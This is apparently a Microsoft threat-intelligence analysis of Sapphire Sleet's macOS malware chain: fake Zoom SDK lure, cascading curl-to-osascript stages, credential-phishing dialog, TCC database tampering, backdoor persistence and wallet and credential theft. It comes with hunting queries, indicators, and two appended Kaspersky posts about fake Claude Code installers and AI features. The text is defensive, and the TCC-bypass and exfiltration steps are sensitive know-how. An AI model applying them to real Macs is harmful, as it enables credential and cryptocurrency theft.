When the user opens the Zoom SDK Update.scpt file, macOS launches the file in Script Editor, allowing Sapphire Sleet to transition from a single lure file to a multi-stage, dynamically fetched payload chain. From this single process, the entire attack unfolds through a cascading chain of curl commands, each fetching and executing progressively more complex AppleScript payloads. Each stage uses a distinct user-agent string as a campaign tracking identifier.

The main payload fetched by the mac-cur1 user agent is the attack orchestrator. Once executed within the Script Editor, it performs immediate reconnaissance, then kicks off parallel operations using additional curl commands with different user-agent strings.

Note the URL path difference: mac-cur1 through mac-cur3 fetch from /version/ (AppleScript payloads piped directly to osascript for execution), while mac-cur4 and mac-cur5 fetch from /status/ (ZIP archives containing compiled macOS .app bundles).

The following table summarizes the curl chain used in this campaign.

Reconnaissance and C2 registration

After execution, the malware next identifies and registers the compromised device with Sapphire Sleet infrastructure. The malware starts by collecting basic system details such as the current user, host name, system time, and operating system install date. This information is used to uniquely identify the compromised device and track subsequent activity.

The malware then registers the compromised system with its command‑and‑control (C2) infrastructure. The mid value represents the device’s universally unique identifier (UUID), the did serves as a campaign‑level tracking identifier, and the user field combines the system host name with the device serial number to uniquely label the targeted user.

Host monitoring component: com.apple.cli

The first binary deployed is a host monitoring component called com.apple.cli—a ~5 MB Mach-O binary disguised with an Apple-style naming convention.

The mac-cur1 payload spawns an osascript that downloads and launches com.apple.cli:

The host monitoring component repeatedly executes a series of system commands to collect environment and runtime information, including the macOS version (sw_vers), the current system time (date -u), and the underlying hardware model (sysctl hw.model). It then runs ps aux in a tight loop to capture a full, real‑time list of running processes.

During execution, com.apple.cli performs host reconnaissance while maintaining repeated outbound connectivity to the threat actor‑controlled C2 endpoint 83.136.208[.]246:6783. The observed sequencing of reconnaissance activity and network communication is consistent with staging for later operational activity, including privilege escalation, and exfiltration.

In parallel with deploying com.apple.cli, the mac-cur1 orchestrator also deploys a second component, the services backdoor, as part of the same execution flow; its role in persistence and follow‑on activity is described later in this blog.

Credential access

Credential harvester: systemupdate.app

After performing reconnaissance, the mac-cur1 orchestrator begins parallel operations. During the mac‑cur2 stage of execution (independent from the mac-cur1 stage), Sapphire Sleet delivers an AppleScript payload that is executed through osascript. This stage is responsible for deploying the credential harvesting component of the attack.

Before proceeding, the script checks for the presence of a file named .zoom.log on the system. This file acts as an infection marker, allowing Sapphire Sleet to determine whether the device has already been compromised. If the marker exists, deployment is skipped to avoid redundant execution across sessions.

If the infection marker is not found, the script downloads a compressed archive through the mac-cur4 user agent that contains a malicious macOS application named (systemupdate.app), which masquerades as the legitimate system update utility by the same name. The archive is extracted to a temporary location, and the application is launched immediately.

When systemupdate.app launches, the user is presented with a native macOS password dialog that is visually indistinguishable from a legitimate system prompt. The dialog claims that the user’s password is required to complete a software update, prompting the user to enter their credentials.

After the user enters their password, the malware performs two sequential actions to ensure the credential is usable and immediately captured. First, the binary validates the entered password against the local macOS authentication database using directory services, confirming that the credential is correct and not mistyped. Once validation succeeds, the verified password is immediately exfiltrated to threat actor‑controlled infrastructure using the Telegram Bot API, delivering the stolen credential directly to Sapphire Sleet.

Decoy completion prompt: softwareupdate.app

After credential harvesting is completed using systemupdate.app, Sapphire Sleet deploys a second malicious application named softwareupdate.app, whose sole purpose is to reinforce the illusion of a legitimate update workflow. This application is delivered during a later stage of the attack using the mac‑cur5 user‑agent. Unlike systemupdate.app, softwareupdate.app does not attempt to collect credentials. Instead, it displays a convincing “system update complete” dialog to the user, signaling that the supposed Zoom SDK update has finished successfully. This final step closes the social engineering loop: the user initiated a Zoom‑themed update, was prompted to enter their password, and is now reassured that the process completed as expected, reducing the likelihood of suspicion or further investigation.

Persistence

Primary backdoor and persistence installer: services binary

The services backdoor is a key operational component in this attack, acting as the primary backdoor and persistence installer. It provides an interactive command execution channel, establishes persistence using a launch daemon, and deploys two additional backdoors. The services backdoor is deployed through a dedicated AppleScript executed as part of the initial mac‑cur1 payload that also deployed com.apple.cli, although the additional backdoors deployed by services are executed at a later stage.

During deployment, the services backdoor binary is first downloaded using a hidden file name (.services) to reduce visibility, then copied to its final location before the temporary file is removed. As part of installation, the malware creates a file named auth.db under ~/Library/Application Support/Authorization/, which stores the path to the deployed services backdoor and serves as a persistent installation marker. Any execution or runtime errors encountered during this process are written to /tmp/lg4err, leaving behind an additional forensic artifact that can aid post‑compromise investigation.

Unlike com.apple.cli, the services backdoor uses interactive zsh shells (/bin/zsh -i) to execute privileged operations. The -i flag creates an interactive terminal context, which is required for sudo commands that expect interactive input.

Additional backdoors: icloudz and com.google.chromes.updaters

Of the additional backdoors deployed by services, the icloudz backdoor is a renamed copy of the previously deployed services backdoor and shares the same SHA‑256 hash, indicating identical underlying code. Despite this, it is executed using a different and more evasive technique. Although icloudz shares the same binary as .services, it operates as a reflective code loader—it uses the macOS NSCreateObjectFileImageFromMemory API to load additional payloads received from its C2 infrastructure directly into memory, rather than writing them to disk and executing them conventionally.

The icloudz backdoor is stored at ~/Library/Application Support/iCloud/icloudz, a location and naming choice intended to resemble legitimate iCloud‑related artifacts. Once loaded into memory, two distinct execution waves are observed. Each wave independently initializes a consistent sequence of system commands: existing caffeinate processes are stopped, caffeinate is relaunched using nohup to prevent the system from sleeping, basic system information is collected using sw_vers and sysctl -n hw.model, and an interactive /bin/zsh -i shell is spawned. This repeated initialization suggests that the component is designed to re‑establish execution context reliably across runs.

From within the interactive zsh shell, icloudz deploys an additional (tertiary) backdoor, com.google.chromes.updaters, to disk at ~/Library/Google/com.google.chromes.updaters. The selected directory and file name closely resemble legitimate Google application data, helping the file blend into the user’s Home directory and reducing the likelihood of casual inspection. File permissions are adjusted; ownership is set to allow execution with elevated privileges, and the com.google.chromes.updaters binary is launched using sudo.

To ensure continued execution across reboots, a launch daemon configuration file named com.google.webkit.service.plist is installed under /Library/LaunchDaemons. This configuration causes icloudz to launch automatically at system startup, even if no user is signed in. The naming convention deliberately mimics legitimate Apple and Google system services, further reducing the chance of detection.

The com.google.chromes.updaters backdoor is the final and largest component deployed in this attack chain, with a size of approximately 7.2 MB. Once running, it establishes outbound communication with threat actor‑controlled infrastructure, connecting to the domain check02id[.]com over port 5202. The process then enters a precise 60‑second beaconing loop. During each cycle, it executes minimal commands such as whoami to confirm the execution context and sw_vers -productVersion to report the operating system version. This lightweight heartbeat confirms the process remains active, is running with elevated privileges, and is ready to receive further instructions.

Privilege escalation

TCC bypass: Granting AppleEvents permissions

Before large‑scale data access and exfiltration can proceed, Sapphire Sleet must bypass macOS TCC protections. TCC enforces user consent for sensitive inter‑process interactions, including AppleEvents, the mechanism required for osascript to communicate with Finder and perform file-level operations. The mac-cur3 stage silently grants itself these permissions by directly manipulating the user-level TCC database through the following sequence.

The user-level TCC database (~/Library/Application Support/com.apple.TCC/TCC.db) is itself TCC-protected—processes without Full Disk Access (FDA) cannot read or modify it. Sapphire Sleet circumvents this by directing Finder, which holds FDA by default on macOS,  to rename the com.apple.TCC folder. Once renamed, the TCC database file can be copied to a staging location by a process without FDA.

Sapphire Sleet then uses sqlite3 to inject a new entry into the database’s access table. This entry grants /usr/bin/osascript permission to send AppleEvents to com.apple.finder and includes valid code-signing requirement (csreq) blobs for both binaries, binding the grant to Apple-signed executables. The authorization value is set to allowed (auth_value=2) with a user-set reason (auth_reason=3), ensuring no user prompt is triggered. The modified database is then copied back into the renamed folder, and Finder restores the folder to its original name. Staging files are deleted to reduce forensic traces.

Collection and exfiltration

With TCC bypassed, credentials stolen, and backdoors deployed, Sapphire Sleet launches the next phase of attack: a 575-line AppleScript payload that systematically collects, stages, compresses, and exfiltrates seven categories of data.

Exfiltration architecture

Every upload follows a consistent pattern and is executed using nohup, which allows the command to continue running in the background even if the initiating process or Terminal session exits. This ensures that data exfiltration can complete reliably without requiring the threat actor to maintain an active session on the system.

The auth header provides the upload authorization token, and the mid header ties the upload to the compromised device’s UUID.

Data collected during exfiltration

• Host and system reconnaissance: Before bulk data collection begins, the script records basic system identity and hardware information. This includes the current username, system host name, macOS version, and CPU model. These values are appended to a per‑host log file and provide Sapphire Sleet with environmental context, hardware fingerprinting, and confirmation of the target system’s characteristics. This reconnaissance data is later uploaded to track progress and correlate subsequent exfiltration stages to a specific device.
• Installed applications and runtime verification: The script enumerates installed applications and shared directories to build an inventory of the system’s software environment. It also captures a live process listing filtered for threat actor‑deployed components, allowing Sapphire Sleet to verify that earlier payloads are still running as expected. These checks help confirm successful execution and persistence before proceeding further.
• Messaging session data (Telegram): Telegram Desktop session data is collected by copying the application’s data directories, including cryptographic key material and session mapping files. These artifacts are sufficient to recreate the user’s Telegram session on another system without requiring reauthentication. A second collection pass targets the Telegram App Group container to capture the complete local data set associated with the application.
• Browser data and extension storage: For Chromium‑based browsers, including Chrome, Brave, and Arc, the script copies browser profiles and associated databases. This includes saved credentials, cookies, autofill data, browsing history, bookmarks, and extension‑specific storage. Particular focus is placed on IndexedDB entries associated with cryptocurrency wallet extensions, where wallet keys and transaction data are stored. Only IndexedDB entries matching a targeted set of wallet extension identifiers are collected, reflecting a deliberate and selective approach.
• macOS keychain: The user’s sign-in keychain database is bundled alongside browser data. Although the keychain is encrypted, Sapphire Sleet has already captured the user’s password earlier in the attack chain, enabling offline decryption of stored secrets once exfiltrated.
• Cryptocurrency desktop wallets: The script copies the full application support directories for popular cryptocurrency desktop wallets, including Ledger Live and Exodus. These directories contain wallet configuration files and key material required to access stored cryptocurrency assets, making them high‑value targets for exfiltration.
• SSH keys and shell history: SSH key directories and shell history files are collected to enable potential lateral movement and intelligence gathering. SSH keys may provide access to additional systems, while shell history can reveal infrastructure details, previously accessed hosts, and operational habits of the targeted user.
• Apple Notes: The Apple Notes database is copied from its application container and staged for upload. Notes frequently contain sensitive information such as passwords, internal documentation, infrastructure details, or meeting notes, making them a valuable secondary data source.
• System logs and failed access attempts: System log files are uploaded directly without compression. These logs provide additional hardware and execution context and include progress markers that indicate which exfiltration stages have completed. Failed collection attempts—such as access to password manager containers that are not present on the system—are also recorded and uploaded, allowing Sapphire Sleet to understand which targets were unavailable on the compromised host.

Exfiltration summary

All uploads use the upload authorization token fwyan48umt1vimwqcqvhdd9u72a7qysi and the machine identifier 82cf5d92-87b5-4144-9a4e-6b58b714d599.

Defending against Sapphire Sleet intrusion activity

As part of a coordinated response to this activity, Apple has implemented platform-level protections to help detect and block infrastructure and malware associated with this campaign. Apple has deployed Apple Safe Browsing protections in Safari to detect and block malicious infrastructure associated with this campaign. Users browsing with Safari benefit from these protections by default. Apple has also deployed XProtect signatures to detect and block the malware families associated with this campaign—macOS devices receive these signature updates automatically.

Microsoft recommends the following mitigation steps to defend against this activity and reduce the impact of this threat:

• Educate users about social engineering threats originating from social media and external platforms, particularly unsolicited outreach requesting software downloads, virtual meeting tool installations, or execution of terminal commands. Users should never run scripts or commands shared through messages, calls, or chats without prior approval from their IT or security teams.
• Block or restrict the execution of .scpt (compiled AppleScript) files and unsigned Mach-O binaries downloaded from the internet. Where feasible, enforce policies that prevent osascript from executing scripts sourced from external locations.
• Always inspect and verify files downloaded from external sources, including compiled AppleScript (.scpt) files. These files can execute arbitrary shell commands via macOS Script Editor—a trusted first-party Apple application—making them an effective and stealthy initial access vector.
• Limit or audit the use of curl piped to interpreters (such as curl | osascript, curl | sh, curl | bash). Social engineering campaigns by Sapphire Sleet rely on cascading curl-to-interpreter chains to avoid writing payloads to disk. Organizations should monitor for and restrict piped execution patterns originating from non-standard user-agent strings.
• Exercise caution when copying and pasting sensitive data such as wallet addresses or credentials from the clipboard. Always verify that the pasted content matches the intended source to avoid falling victim to clipboard hijacking or data tampering attacks.
• Monitor for unauthorized modifications to the macOS TCC database. This campaign manipulates TCC.db to grant AppleEvents permissions to osascript without user consent—a prerequisite for the large-scale data exfiltration phase. Look for processes copying, modifying, or overwriting ~/Library/Application Support/com.apple.TCC/TCC.db.
• Audit LaunchDaemon and LaunchAgent installations. This campaign installs a persistent launch daemon (com.google.webkit.service.plist) that masquerades as a legitimate Google or Apple service. Monitor /Library/LaunchDaemons/ and ~/Library/LaunchAgents/ for unexpected plist files, particularly those with com.google.* or com.apple.* naming conventions not belonging to genuine vendor software.
• Protect cryptocurrency wallets and browser credential stores. This campaign targets nine specific crypto wallet extensions (Sui, Phantom, TronLink, Coinbase, OKX, Solflare, Rabby, Backpack) plus Bitwarden, and exfiltrates browser sign-in data, cookies, and keychain databases. Organizations handling digital assets should enforce hardware wallet policies and rotate browser-stored credentials regularly.
• Encourage users to use web browsers that support Microsoft Defender SmartScreen like Microsoft Edge—available on macOS and various platforms—which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.

Microsoft Defender for Endpoint customers can also apply the following mitigations to reduce the environmental attack surface and mitigate the impact of this threat and its payloads:

• Use Microsoft Defender for Endpoint on Mac, which detects, stops, and quarantines the malware discussed in this blog.
• Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Enable potentially unwanted application (PUA) protection in block mode to automatically quarantine PUAs like adware. PUA blocking takes effect on endpoint clients after the next signature update or computer restart.
• Turn on network protection to block connections to malicious domains and IP addresses.

Microsoft Defender detection and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor Profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Suspicious osascript execution with curl piping

Search for curl commands piping output directly to osascript, a core technique in this Sapphire Sleet campaign’s cascading payload delivery chain.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "osascript" or InitiatingProcessFileName == "osascript"
 | where ProcessCommandLine has "curl" and ProcessCommandLine has_any ("osascript", "| sh", "| bash")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFileName

Suspicious curl activity with campaign user-agent strings

Search for curl commands using user-agent strings matching the Sapphire Sleet campaign tracking identifiers (mac-cur1 through mac-cur5, audio, beacon).

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "curl" or ProcessCommandLine has "curl"
 | where ProcessCommandLine has_any ("mac-cur1", "mac-cur2", "mac-cur3", "mac-cur4", "mac-cur5", "-A audio", "-A beacon")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect connectivity with known C2 infrastructure

Search for network connections to the Sapphire Sleet C2 domains and IP addresses used in this campaign.

let c2_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let c2_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has_any (c2_domains) or RemoteIP in (c2_ips)
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

TCC database manipulation detection

Search for processes that copy, modify, or overwrite the macOS TCC database, a key defense evasion technique used by this campaign to grant unauthorized AppleEvents permissions.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath has "com.apple.TCC" and FileName == "TCC.db"
 | where ActionType in ("FileCreated", "FileModified", "FileRenamed")
 | project Timestamp, DeviceId, DeviceName, ActionType, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine

Suspicious LaunchDaemon creation masquerading as legitimate services

Search for LaunchDaemon plist files created in /Library/LaunchDaemons that masquerade as Google or Apple services, matching the persistence technique used by the services/icloudz backdoor.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath startswith "/Library/LaunchDaemons/"
 | where FileName startswith "com.google." or FileName startswith "com.apple."
 | where ActionType == "FileCreated"
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256

Malicious binary execution from suspicious paths

Search for execution of binaries from paths commonly used by Sapphire Sleet, including hidden Library directories, /private/tmp/, and user-specific Application Support folders.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FolderPath has_any (
     "Library/Services/services",
     "Application Support/iCloud/icloudz",
     "Library/Google/com.google.chromes.updaters",
     "/private/tmp/SystemUpdate/",
     "/private/tmp/SoftwareUpdate/",
     "com.apple.cli"
 )
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, ProcessCommandLine, AccountName, SHA256

Credential harvesting using dscl authentication check

Search for dscl -authonly commands used by the fake password dialog (systemupdate.app) to validate stolen credentials before exfiltration.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "dscl" or ProcessCommandLine has "dscl"
 | where ProcessCommandLine has "-authonly"
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Telegram Bot API exfiltration detection

Search for network connections to Telegram Bot API endpoints, used by this campaign to exfiltrate stolen credentials.

DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has "api.telegram.org" and RemoteUrl has "/bot"
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

Reflective code loading using NSCreateObjectFileImageFromMemory

Search for evidence of reflective Mach-O loading, the technique used by the icloudz backdoor to execute code in memory.

DeviceEvents
 | where Timestamp > ago(30d)
 | where ActionType has "NSCreateObjectFileImageFromMemory"
     or AdditionalFields has "NSCreateObjectFileImageFromMemory"
 | project Timestamp, DeviceId, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, AdditionalFields

Suspicious caffeinate and sleep prevention activity

Search for caffeinate process stop-and-restart patterns used by the services and icloudz backdoors to prevent the system from sleeping during backdoor operations.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where ProcessCommandLine has "caffeinate"
 | where InitiatingProcessCommandLine has_any ("icloudz", "services", "chromes.updaters", "zsh -i")
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect known malicious file hashes

Search for the specific malicious file hashes associated with this Sapphire Sleet campaign across file events.

let malicious_hashes = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 DeviceFileEvents
 | where Timestamp > ago(30d)
 | where SHA256 in (malicious_hashes)
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, SHA256, ActionType, InitiatingProcessFileName, InitiatingProcessCommandLine

Data staging and exfiltration activity

Search for ZIP archive creation in /tmp/ directories followed by curl uploads matching the staging-and-exfiltration pattern used for browser data, crypto wallets, Telegram sessions, SSH keys, and Apple Notes.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where (ProcessCommandLine has "zip" and ProcessCommandLine has "/tmp/")
     or (ProcessCommandLine has "curl" and ProcessCommandLine has_any ("tapp_", "ext_", "ldg_", "exds_", "hs_", "nt_", "lg_"))
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Script Editor launching suspicious child processes

Search for Script Editor (the default handler for .scpt files) spawning curl, osascript, or shell commands—the initial execution vector in this campaign.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where InitiatingProcessFileName == "Script Editor" or InitiatingProcessCommandLine has "Script Editor"
 | where FileName has_any ("curl", "osascript", "sh", "bash", "zsh")
 | project Timestamp, DeviceId, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network indicators of compromise

The following query checks for connections to the Sapphire Sleet C2 domains and IP addresses across network session data:

let lookback = 30d;
 let ioc_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let ioc_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where TimeGenerated > ago(lookback)
 | where RemoteUrl has_any (ioc_domains) or RemoteIP in (ioc_ips)
 | summarize EventCount=count() by DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName

Detect file hash indicators of compromise

The following query searches for the known malicious file hashes associated with this campaign across file, process, and security event data:

let selectedTimestamp = datetime(2026-01-01T00:00:00.0000000Z);
 let FileSHA256 = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 search in (AlertEvidence, DeviceEvents, DeviceFileEvents, DeviceImageLoadEvents, DeviceProcessEvents, DeviceNetworkEvents, SecurityEvent, ThreatIntelligenceIndicator)
 TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d))
 and (SHA256 in (FileSHA256) or InitiatingProcessSHA256 in (FileSHA256))

Detect Microsoft Defender Antivirus detections related to Sapphire Sleet

The following query searches for Defender Antivirus alerts for the specific malware families used in this campaign and joins with device information for enriched context:

let SapphireSleet_threats = dynamic([
     "Trojan:MacOS/NukeSped.D",
     "Trojan:MacOS/PassStealer.D",
     "Trojan:MacOS/SuspMalScript.C",
     "Trojan:MacOS/SuspInfostealExec.C"
 ]);
 SecurityAlert
 | where ProviderName == "MDATP"
 | extend ThreatName = tostring(parse_json(ExtendedProperties).ThreatName)
 | extend ThreatFamilyName = tostring(parse_json(ExtendedProperties).ThreatFamilyName)
 | where ThreatName in~ (SapphireSleet_threats) or ThreatFamilyName in~ (SapphireSleet_threats)
 | extend CompromisedEntity = tolower(CompromisedEntity)
 | join kind=inner (
     DeviceInfo
     | extend DeviceName = tolower(DeviceName)
 ) on $left.CompromisedEntity == $right.DeviceName
 | summarize arg_max(TimeGenerated, *) by DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, tostring(LoggedOnUsers), DeviceId, TenantId, CompromisedEntity, ProductName, Entities
 | extend HostName = tostring(split(CompromisedEntity, ".")[0]), DomainIndex = toint(indexof(CompromisedEntity, '.'))
 | extend HostNameDomain = iff(DomainIndex != -1, substring(CompromisedEntity, DomainIndex + 1), CompromisedEntity)
 | project-away DomainIndex
 | project TimeGenerated, DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, LoggedOnUsers, DeviceId, TenantId, CompromisedEntity, ProductName, Entities, HostName, HostNameDomain

Indicators of compromise

Malicious file hashes

Domains and IP addresses

Acknowledgments

Existing blogs with similar behavior tracked:

• https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering
• https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis
• https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthie/117842/
• https://x.com/malwrhunterteam/status/2008831892616081508
• https://x.com/patrickwardle/status/2009008936771543341?s=46

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Dissecting Sapphire Sleet’s macOS intrusion from lure to compromise appeared first on Microsoft Security Blog.

We recently discussed how malicious actors are spreading the AMOS infostealer for macOS via Google Ads, leveraging a chat with an AI assistant on the actual OpenAI website to host malicious instructions. We decided to dig a little deeper, only to discover several similar malicious campaigns where attackers attempt to slip users malware disguised as popular AI tools through Google Search ads. If the victims are searching for macOS-specific tools, the payload deployed is the very same AMOS; if they’re on Windows, it’s the Amatera infostealer instead. These campaigns use the popular Chinese AI Doubao, the viral AI assistant OpenClaw, or the coding assistant Claude Code as bait. This means such campaigns pose a threat not only to home users but also to organizations.

The reality is that corporate employees are increasingly using coding assistants like Claude Code, and workflow automation agents like OpenClaw. This brings its own set of risks, which is why many organizations have yet to officially approve (or pay for) access to such tools. Consequently, some employees take matters into their own hands to find these trendy tools, and head straight to Google. They type in a search query and are served a sponsored link leading to a malicious installation guide. Let’s take a closer look at how this attack plays out, using a Claude Code distribution campaign discovered in early March as an example.

The search query

So, a user starts looking for a place to download the Anthropic agent and types something like “Claude Code download” into the search bar. The search engine returns a list of links, with “sponsored links” (paid advertisements) sitting at the top. One of these ads leads the user to a malicious page featuring fake documentation. Interestingly, the site itself is built on Squarespace, a legitimate website builder that helps it bypass anti-phishing filters.

Search results with ads in Romania and Brazil

Malicious site mimicking installation instructions

Genuine Claude Code site with installation instructions

Malicious payload

Just like with the original Claude Code, the command for macOS attempts to install an application using the curl command-line utility. In reality, it deploys the AMOS spyware — previously described by our experts on Securelist — which was used in a similar past campaign.

In the case of Windows, the malware is installed using the system utility mshta.exe, which executes HTML-based applications instead of curl, which is used for the genuine Claude Code. This utility deploys the Amatera infostealer, which harvests browser data, crypto-wallet info, as well as information from the user folder, and sends it to a remote server at 144{.}124.235.102.

How to keep your company safe

Interest in AI agents continues to grow, and the emergence of new tools and their rising popularity are creating fresh attack vectors. Specifically, attempting to seek out third-party AI tools can not only jeopardize the source code of projects on the victim’s computer but also lead to the compromise of secrets, confidential corporate files, and user accounts.

To prevent this from happening, the first step should be educating employees about these dangers and the tricks used by threat actors. This can be done using our training platform: Kaspersky Automated Security Awareness. Incidentally, it includes a specialized lesson on the use of AI in corporate environments.

Additionally, we recommend protecting all corporate devices with proven cybersecurity solutions.

We also suggest checking out our previously published article on three approaches to minimizing the risks of using shadow AI.

If you don’t go searching for AI services, they’ll find you all the same. Every major tech company feels a moral obligation not just to develop an AI assistant, integrated chatbot, or autonomous agent, but to bake it into their existing mainstream products and forcibly activate it for tens of millions of users. Here are just a few examples from the last six months:

• Microsoft is forcibly turning compatible Windows PCs into “AI PCs”, and automatically installing and activating Copilot for anyone with Microsoft 365 desktop apps.
• Google activated Gemini for all U.S. Chrome users, cranked its browser functionality to the max, aggressively expanded the reach of AI Overviews in search results, and baked a whole suite of AI features into its online services (Gmail, Google Docs, and others).
• Apple integrated its own Apple Intelligence (conveniently sharing the AI acronym) into the latest OS versions across all device types and most of its native apps.
• Meta added AI translations and a Meta AI chat to WhatsApp, while simultaneously banning third-party chatbots in the messaging app as of January 15, 2026.

On the flip side, geeks have rushed to build their own “personal Jarvises” by renting VPS instances or hoarding Mac minis to run the OpenClaw AI agent. Unfortunately, OpenClaw’s security issues with default settings turned out to be so massive that it’s already been dubbed the biggest cybersecurity threat of 2026.

Beyond the sheer annoyance of having something shoved down your throat, this AI epidemic brings some very real practical risks and headaches. AI assistants hoover up every bit of data they can get their hands on, parsing the context of the websites you visit, analyzing your saved documents, reading through your chats, and so on. This gives AI companies an unprecedentedly intimate look into every user’s life.

A leak of this data during a cyberattack — whether from the AI provider’s servers or from the cache on your own machine — could be catastrophic. These assistants can see and cache everything you can, including data usually tucked behind multiple layers of security: banking info, medical diagnoses, private messages, and other sensitive intel. We took a deep dive into how this plays out when we broke down the issues with the AI-powered Copilot+ Recall system, which Microsoft also planned to force-feed to everyone. On top of that, AI can be a total resource hog, eating up RAM, GPU cycles, and storage, which often leads to a noticeable hit to system performance.

